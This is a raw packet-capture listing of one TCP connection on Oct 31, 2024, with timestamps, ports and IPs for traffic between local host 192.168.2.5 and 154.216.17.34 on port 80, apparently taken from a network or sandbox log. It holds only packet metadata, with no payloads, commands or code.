Oct 31, 2024 02:09:10.462385893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.462398052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.462414980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.462425947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.462436914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.462445974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.462449074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.462505102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.462646961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.462657928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.462667942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.462702036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.462713957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.504199028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.504242897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.504260063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.504271030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.504282951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.504283905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.504293919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.504307985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.504348040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.504535913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.504548073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.504558086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.504591942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.504609108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.547030926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547040939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547048092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547094107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547094107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.547106028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547116995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547147036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.547163010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.547240019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547252893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547264099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547271013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547281981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547288895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.547311068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.547333002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.547805071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547816992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547827005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.547864914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.547880888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.548022985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548034906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548046112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548058033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548077106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.548110008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.548361063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548372984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548382998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548394918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548414946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.548430920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.548640013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548682928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548690081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.548696041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.548731089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.579330921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.579351902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.579361916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.579404116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.579421043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.579427958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.579432011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.579437971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.579483032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.579699039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.579746008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.579750061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.579757929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.579791069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.621115923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621169090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621180058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621191978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621237993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621254921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621265888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621294022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.621325970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.621448040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621475935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621484995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.621511936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.621541023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.663814068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.663827896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.663841009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.663880110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.663902998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.663985014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664037943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664041996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664050102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664091110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664236069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664247990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664264917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664284945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664308071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664309978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664319038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664330959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664341927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664352894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664355993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664391041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664776087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664796114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664835930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664861917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664870024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664880037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664891005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664901972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.664906979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664931059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.664958000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.665193081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.665210962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.665221930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.665246010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.665256977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.665467978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.665478945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.665489912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.665524006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.665534973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.696228027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.696279049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.696306944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.696322918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.696324110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.696335077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.696379900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.696403980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.696413040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.696449041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.696475029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.696512938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.696518898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.696523905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.696559906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.738106966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738118887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738193035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.738270044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738281965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738292933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738306046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738320112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.738332033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.738396883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738445997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738449097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.738456011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738481998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.738500118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.738646984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738657951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738667965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.738697052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.738722086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.780626059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.780675888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.780677080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.780721903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.780879974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.780890942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.780900955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.780937910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.780955076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.780997038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781007051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781017065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781044006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.781080008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.781188965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781234980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781245947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781253099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.781272888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.781290054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.781339884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781351089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781363010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781388044 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.781400919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.781752110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781764030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781774998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781788111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.781806946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.781831980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.782018900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.782030106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.782041073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.782069921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.782080889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.782083035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.782093048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.782130957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.782445908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.782483101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.782494068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.782506943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.782530069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.782538891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.813144922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.813168049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.813179970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.813205004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.813232899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.813254118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.813266039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.813275099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.813322067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.813322067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.855021954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855094910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.855109930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855119944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855130911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855149984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855158091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.855161905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855174065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855175018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.855185986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855216980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.855227947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.855485916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855504990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855515003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855537891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.855567932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.855575085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855587006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.855618000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.855643034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.897849083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.897888899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.897906065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.897907972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.897918940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.897929907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.897931099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.897963047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.897973061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898013115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898044109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898053885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898070097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898096085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898242950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898286104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898291111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898332119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898344994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898391008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898411989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898423910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898458958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898473024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898475885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898487091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898516893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898528099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898788929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898842096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898936987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898948908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898958921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898969889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898982048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.898989916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.898993015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.899004936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.899023056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.899044037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.899501085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.899511099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.899523020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.899543047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.899553061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.899553061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.899564981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.899581909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.899602890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.940429926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.940448999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.940462112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.940473080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.940485954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.940522909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.940548897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.972091913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972167969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.972167969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972179890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972191095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972203016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972209930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.972243071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.972268105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.972270966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972282887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972294092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972306013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972311974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972316027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972317934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.972354889 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.972745895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972759008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972769022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.972803116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.972817898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.015204906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015219927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015239954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015250921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015264034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015325069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015357018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015367985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015372038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.015409946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015422106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015427113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.015431881 CET	80	49982	154.216.17.34	192.168.2.5
